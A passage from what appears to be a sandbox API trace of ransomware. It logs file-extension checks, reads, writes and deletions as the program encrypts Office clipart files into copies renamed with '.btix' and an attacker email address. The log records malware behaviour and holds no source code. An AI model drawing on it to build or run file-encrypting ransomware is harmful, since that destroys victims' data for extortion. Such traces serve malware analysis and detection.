office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0052.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.280] lstrlenW (lpString=".doc") returned 4 [0052.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.280] lstrlenW (lpString=".docx") returned 5 [0052.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.280] lstrlenW (lpString=".pdf") returned 4 [0052.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.280] lstrlenW (lpString=".xls") returned 4 [0052.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.280] lstrlenW (lpString=".xlsx") returned 5 [0052.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.280] lstrlenW (lpString=".ppt") returned 4 [0052.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.280] lstrlenW (lpString=".zip") returned 4 [0052.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.280] lstrlenW (lpString=".rar") returned 4 [0052.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.280] lstrlenW (lpString=".bz2") returned 4 [0052.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.280] lstrlenW (lpString=".7z") returned 3 [0052.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.281] lstrlenW (lpString=".dbf") returned 4 [0052.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.281] lstrlenW (lpString=".1cd") returned 4 [0052.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.281] lstrlenW (lpString=".jpg") returned 4 [0052.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.281] lstrlenW (lpString=".doc") returned 4 [0052.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString=".docx") returned 5 [0052.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.281] lstrlenW (lpString=".pdf") returned 4 [0052.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString=".xls") returned 4 [0052.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.281] lstrlenW (lpString=".xlsx") returned 5 [0052.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.281] lstrlenW (lpString=".ppt") returned 4 [0052.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.281] lstrlenW (lpString=".zip") returned 4 [0052.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.281] lstrlenW (lpString=".rar") returned 4 [0052.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString=".bz2") returned 4 [0052.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.281] lstrlenW (lpString=".7z") returned 3 [0052.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.282] lstrlenW (lpString=".dbf") returned 4 [0052.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.282] lstrlenW (lpString=".1cd") returned 4 [0052.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0052.282] lstrlenW (lpString=".jpg") returned 4 [0052.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.282] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.282] lstrlenW (lpString="AN04195_.WMF") returned 12 [0052.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.282] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4612) returned 1 [0052.282] CloseHandle (hObject=0x344) returned 1 [0052.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0052.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.283] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.283] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.283] GetLastError () returned 0x0 [0052.283] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1204, lpOverlapped=0x0) returned 1 [0052.366] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1210, lpOverlapped=0x0) returned 1 [0052.367] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.367] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.367] SetEndOfFile (hFile=0x390) returned 1 [0052.368] CloseHandle (hObject=0x390) returned 1 [0052.368] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.368] SetEndOfFile (hFile=0x344) returned 1 [0052.369] CloseHandle (hObject=0x344) returned 1 [0052.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0052.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString=".doc") returned 4 [0052.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".docx") returned 5 [0052.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.383] lstrlenW (lpString=".pdf") returned 4 [0052.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".xls") returned 4 [0052.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.383] lstrlenW (lpString=".xlsx") returned 5 [0052.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.383] lstrlenW (lpString=".ppt") returned 4 [0052.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString=".zip") returned 4 [0052.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.383] lstrlenW (lpString=".rar") returned 4 [0052.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".bz2") returned 4 [0052.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".7z") returned 3 [0052.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString=".dbf") returned 4 [0052.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString=".1cd") returned 4 [0052.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString=".jpg") returned 4 [0052.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.383] lstrlenW (lpString=".doc") returned 4 [0052.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".docx") returned 5 [0052.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.384] lstrlenW (lpString=".pdf") returned 4 [0052.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString=".xls") returned 4 [0052.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.384] lstrlenW (lpString=".xlsx") returned 5 [0052.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.384] lstrlenW (lpString=".ppt") returned 4 [0052.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.384] lstrlenW (lpString=".zip") returned 4 [0052.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.384] lstrlenW (lpString=".rar") returned 4 [0052.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString=".bz2") returned 4 [0052.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString=".7z") returned 3 [0052.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.384] lstrlenW (lpString=".dbf") returned 4 [0052.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.384] lstrlenW (lpString=".1cd") returned 4 [0052.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0052.384] lstrlenW (lpString=".jpg") returned 4 [0052.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.385] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.385] lstrlenW (lpString="AN04267_.WMF") returned 12 [0052.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.468] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=7804) returned 1 [0052.468] CloseHandle (hObject=0x36c) returned 1 [0052.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0052.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.468] GetLastError () returned 0x0 [0052.468] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0052.504] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1e80, lpOverlapped=0x0) returned 1 [0052.505] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.506] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.506] SetEndOfFile (hFile=0x308) returned 1 [0052.506] CloseHandle (hObject=0x308) returned 1 [0052.507] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.507] SetEndOfFile (hFile=0x36c) returned 1 [0052.508] CloseHandle (hObject=0x36c) returned 1 [0052.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0052.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.522] lstrlenW (lpString=".doc") returned 4 [0052.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString=".docx") returned 5 [0052.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.523] lstrlenW (lpString=".pdf") returned 4 [0052.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString=".xls") returned 4 [0052.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.523] lstrlenW (lpString=".xlsx") returned 5 [0052.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.523] lstrlenW (lpString=".ppt") returned 4 [0052.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.523] lstrlenW (lpString=".zip") returned 4 [0052.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.523] lstrlenW (lpString=".rar") returned 4 [0052.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString=".bz2") returned 4 [0052.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString=".7z") returned 3 [0052.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.523] lstrlenW (lpString=".dbf") returned 4 [0052.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.523] lstrlenW (lpString=".1cd") returned 4 [0052.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.523] lstrlenW (lpString=".jpg") returned 4 [0052.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.524] lstrlenW (lpString=".doc") returned 4 [0052.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString=".docx") returned 5 [0052.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.524] lstrlenW (lpString=".pdf") returned 4 [0052.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString=".xls") returned 4 [0052.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.524] lstrlenW (lpString=".xlsx") returned 5 [0052.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.524] lstrlenW (lpString=".ppt") returned 4 [0052.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.524] lstrlenW (lpString=".zip") returned 4 [0052.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.524] lstrlenW (lpString=".rar") returned 4 [0052.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString=".bz2") returned 4 [0052.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString=".7z") returned 3 [0052.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.524] lstrlenW (lpString=".dbf") returned 4 [0052.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.524] lstrlenW (lpString=".1cd") returned 4 [0052.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0052.524] lstrlenW (lpString=".jpg") returned 4 [0052.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.525] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.525] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.525] GetLastError () returned 0x0 [0052.525] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xd14, lpOverlapped=0x0) returned 1 [0052.611] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xd20, lpOverlapped=0x0) returned 1 [0052.612] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.612] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.612] SetEndOfFile (hFile=0x308) returned 1 [0052.660] CloseHandle (hObject=0x308) returned 1 [0052.660] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.660] SetEndOfFile (hFile=0x36c) returned 1 [0052.661] CloseHandle (hObject=0x36c) returned 1 [0052.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0052.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0052.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0052.662] lstrlenW (lpString=".doc") returned 4 [0052.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.662] lstrlenW (lpString=".docx") returned 5 [0052.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.662] lstrlenW (lpString=".pdf") returned 4 [0052.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.662] lstrlenW (lpString=".xls") returned 4 [0052.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.662] lstrlenW (lpString=".xlsx") returned 5 [0052.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.662] lstrlenW (lpString=".ppt") returned 4 [0052.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0052.662] lstrlenW (lpString=".zip") returned 4 [0052.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.662] lstrlenW (lpString=".rar") returned 4 [0052.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.663] lstrlenW (lpString=".bz2") returned 4 [0052.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.663] lstrlenW (lpString=".7z") returned 3 [0052.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0052.663] lstrlenW (lpString=".dbf") returned 4 [0052.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0052.663] lstrlenW (lpString=".1cd") returned 4 [0052.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.663] lstrlenW 